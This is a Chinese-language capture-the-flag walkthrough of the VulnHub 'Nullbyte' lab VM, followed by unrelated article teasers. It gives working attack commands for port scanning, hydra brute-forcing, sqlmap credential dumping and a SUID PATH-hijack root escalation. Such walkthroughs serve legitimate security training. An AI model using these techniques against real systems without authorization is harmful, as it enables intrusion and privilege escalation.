VulnHub Nullbyte

一、信息收集

1.nmap扫描

arp-scan -l扫描内网存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.201/24
-sS 半扫描
-A 扫描详细信息
-p- 扫描全端口

发现开放了80、111、777、50978端口

且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口

2.web页面

1.打开80端口

翻译一下下面的提示:意思是要找到正确的渗透方式

2.扫描80端口目录
┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.201

目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
                      /usr/share/wordlists/dirb/big.txt

扫描得到以下目录:

/uploads

/javascript

/phpmyadmin

显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

然后试着查看源代码看看有没有啥提示:

发现80端口下面的源代码有个图片提示。

我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

┌──(root💀kali)-[~/桌面]
└─# wget http://192.168.103.201/main.gif

先用file看看这个文件的具体信息,确实就是个gif的图像文件

strings main.gif

strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了

kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径

发现,还真的是路径,发现是个要输入key的页面

查看网页源代码

这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了

this form isn't connected to mysql, password ain't that complex
:这个表单没有连接到mysql,密码没有那么复杂

我们试着输入kzMb5nVYJw进去,发现报错了

3.爆破

这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破

解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求

添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)

-P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典

┌──(root💀kali)-[/usr/share/wordlists]
└─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

爆破完毕:key是elite

输入正确的key后,出现下面的这个界面

发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1

4.sqlmap跑

在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了

┌──(root💀kali)-[/usr/share/wordlists]
└─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

+----+---------------------------------------------+--------+------------+
| id | pass                                        | user   | position   |
+----+---------------------------------------------+--------+------------+
| 1  | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank>    |
| 2  | --not allowed--                             | isis   | employee   |
+----+---------------------------------------------+--------+------------+

密码,先base64解密,然后再md5解密,

得到密码是:omega

二、提权

1.ssh远程连接

┌──(root💀kali)-[~]
└─# ssh ramses@192.168.103.201 -p 777

密码omega

1.sudo -l提权

没有权限

2.SUID 查看有哪些有root执行权限

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

3.查看计划任务

ramses@NullByte:~$ cat /etc/crontab

4.查看历史命令

先进入ramses用户目录下然后

ls -la

发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

2.procwatch文件

ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

所以,先切换到/var/www/backup目录下

然后./procwatch执行下这个文件

ramses@NullByte:/var/www/backup$ ./procwatch
  PID TTY          TIME CMD
 1785 pts/0    00:00:00 procwatch
 1786 pts/0    00:00:00 sh
 1787 pts/0    00:00:00 ps

发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是

将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

ln -s /bin/sh ps

ls -la

然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

export PATH=.:$PATH

然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了

3.flag

./procwatch

然后我们进入/root目录寻找flag,是proof.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/131994.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深度学习之各种配置环境

如何使用python进行深度学习&#xff0c;我们需要配置相应的环境 第一步&#xff1a;先安装python python的官网地址&#xff1a;https://www.python.org/ 点进去&#xff0c;点击 Downloads&#xff0c;然后点击 Windows 等待下载完成&#xff0c;安装步骤请参考下文&#x…

主题模型LDA教程:一致性得分coherence score方法对比(umass、c_v、uci)

文章目录 主题建模潜在迪利克雷分配&#xff08;LDA&#xff09;一致性得分 coherence score1. CV 一致性得分2. UMass 一致性得分3. UCI 一致性得分4. Word2vec 一致性得分5. 选择最佳一致性得分 主题建模 主题建模是一种机器学习和自然语言处理技术&#xff0c;用于确定文档…

Linux程序的地址空间

Linux程序的地址空间 &#x1f4df;作者主页&#xff1a;慢热的陕西人 &#x1f334;专栏链接&#xff1a;Linux &#x1f4e3;欢迎各位大佬&#x1f44d;点赞&#x1f525;关注&#x1f693;收藏&#xff0c;&#x1f349;留言 本博客主要内容深刻理解了什么程序或者进程的地址…

【性能测试】非GUI模式Jemter压测+TPS性能拐点详细,一篇带你打通...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 非GUI模式执行Jem…

YOLOv8 Ultralytics:使用Ultralytics框架训练RT-DETR实时目标检测模型

YOLOv8 Ultralytics&#xff1a;使用Ultralytics框架训练RT-DETR实时目标检测模型 前言相关介绍前提条件实验环境安装环境项目地址LinuxWindows 制作自己的数据集训练自己的数据集创建自己数据集的yaml文件football.yaml文件内容 进行训练进行验证进行预测 数据集获取参考文献 …

python 对全局变量的修改,需要使用global关键字

is_debug Falsedef get_is_debug():return is_debugdef set_is_debug(dbg):global is_debugis_debug dbg代码review的时候有个同事&#xff08;我们主要都是开发c代码的&#xff0c;python也会写&#xff0c;但是用的少&#xff09;说&#xff0c;set_is_debug函数中 is_debu…

Leetcode-94 二叉树的中序遍历

递归实现 /*** Definition for a binary tree node.* public class TreeNode {* int val;* TreeNode left;* TreeNode right;* TreeNode() {}* TreeNode(int val) { this.val val; }* TreeNode(int val, TreeNode left, TreeNode right) {* …

网络安全基础之php开发文件下载的实现

前言 php是网络安全学习里必不可少的一环&#xff0c;简单理解php的开发环节能更好的帮助我们去学习php以及其他语言的web漏洞原理 正文 在正常的开发中&#xff0c;文件下载的功能是必不可少&#xff0c;比如我们在论坛看到好看图片好听的歌时&#xff0c;将其下载下来时就…

蓝桥杯算法竞赛第一周题型总结

本专栏内容为&#xff1a;蓝桥杯学习专栏&#xff0c;用于记录蓝桥杯的学习经验分享与总结。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;C &#x1f69a;代码仓库&#xff1a;小小unicorn的代码仓库&#x1f69a; &#x1f339;&#x1f33…

为什么单片机内不继承晶振

一、晶振是什么&#xff1f;有什么作用&#xff1f; 晶振&#xff08;Crystal Oscillator&#xff09;是一种基于晶体材料的振荡器&#xff0c;用于提供稳定的振荡信号。晶体是一种可通过机械振动在电场作用下产生相应电压的物质。晶振由晶体与电路共同组成&#xff0c;晶体负责…

KT6368A蓝牙芯片的距离天线周围的匹配元器件LC,能增加距离吗

一、简介 KT6368A蓝牙芯片的距离&#xff0c;以及天线周围的元器件&#xff0c;电感和电容&#xff0c;添加上去是否可以增加距离&#xff1f; 详细描述 关于蓝牙芯片的rf性能&#xff0c;也就是距离&#xff0c;其实中规中矩吧&#xff0c;但是达到20米还很简单的&#xff…

2023年10 种用于最佳稳定扩散最佳方案

在过去的一年里&#xff0c;您可能已经看到了很多关于 ChatGPT 和其他 AI 自动纹理的新闻。但是&#xff0c;页面&#xff08;或屏幕&#xff09;上的文字远非现代组织和设计师使用人工智能的唯一方式。Stable Diffusion 等工具可帮助您创建令人惊叹的 AI 图像&#xff0c;供个…

【CodeTop】TOP 100 刷题 1-10

文章目录 1. 无重复字符的最长子串题目描述代码与思路 2. 反转链表题目描述代码与解题思路 3. LRU 缓存题目描述代码与解题思路 4. 数组中的第K个最大元素题目描述代码与解题思路 5. K 个一组翻转链表题目描述代码与解题思路 6. 三数之和题目描述代码与解题思路 7. 最大子数组和…

稳定扩散AI 纹理生成器

推荐基于稳定扩散(stable diffusion) AI 模型开发的自动纹理工具&#xff1a; DreamTexture.js自动纹理化开发包 - NSDT 什么是稳定扩散&#xff1f; 从技术上讲&#xff0c;Stable Diffusion 是一种用于机器学习的潜在扩散模型 &#xff08;LDM&#xff09;。这种类型的专用深…

2023-11笔记

1.switch空指针异常 Exception in thread "main" java.lang.NullPointerException:Cannot invoke "String.hashCode()" because "<local2>" is nullat Study5.Test03.main(Test03.java:6)我们由此可以知道&#xff0c;switch语句部分情况下…

@ConfigurationProperties使用

一直有个疑问,在使用ConfigurationProperties注解作用一个配置类时,如果该配置类继承了一个父类,那么父类的那些配置字段是否可以读取配置信息。 答案是可以的&#xff0c;前提是父类对应字段的set方法是public。 BaseProperties.java Getter Setter public class BasePropert…

51单片机PCF8591数字电压表LCD1602液晶显示设计( proteus仿真+程序+设计报告+讲解视频)

51单片机PCF8591数字电压表LCD1602液晶设计 ( proteus仿真程序设计报告讲解视频&#xff09; 仿真图proteus7.8及以上 程序编译器&#xff1a;keil 4/keil 5 编程语言&#xff1a;C语言 设计编号&#xff1a;S0060 51单片机PCF8591数字电压表LCD1602液晶设计 1.主要功能&a…

目标检测算法改进系列之Backbone替换为VanillaNet

VanillaNet简介 简介&#xff1a;VanillaNet是一种在设计中融入优雅的神经网络架构&#xff0c;通过避免高深度&#xff0c;shortcut和自注意力等复杂操作&#xff0c;VanillaNet简单而强大。每一层都经过精心制作&#xff0c;紧凑而直接&#xff0c;在训练后对非线性激活函数…

【赠书活动】嵌入式虚拟化技术与应用

文章目录 前言 1 背景概述 2 专家推荐 3 本书适合谁&#xff1f; 4 内容简介 5 书籍目录 6 权威作者团队 7 粉丝福利 前言 随着物联网设备急剧增长和万物互联应用迅速发展&#xff0c;虚拟化技术成为嵌入式系统焦点。这反映了信息技术迫切需求更高效、灵活和可靠系统。…

漫谈广告机制设计 | 万剑归宗:聊聊广告机制设计与收入提升的秘密(1)

小时候看武侠电视剧《风云》的时候&#xff0c;其中无名有一招叫“万剑归宗”&#xff0c;乃是剑术最高境界。修炼的口诀是“万气自生&#xff0c;剑冲废穴&#xff1b;归元武学&#xff0c;宗远功长”&#xff0c;也就是说欲练此功&#xff0c;先自废武功&#xff0c;然后回归…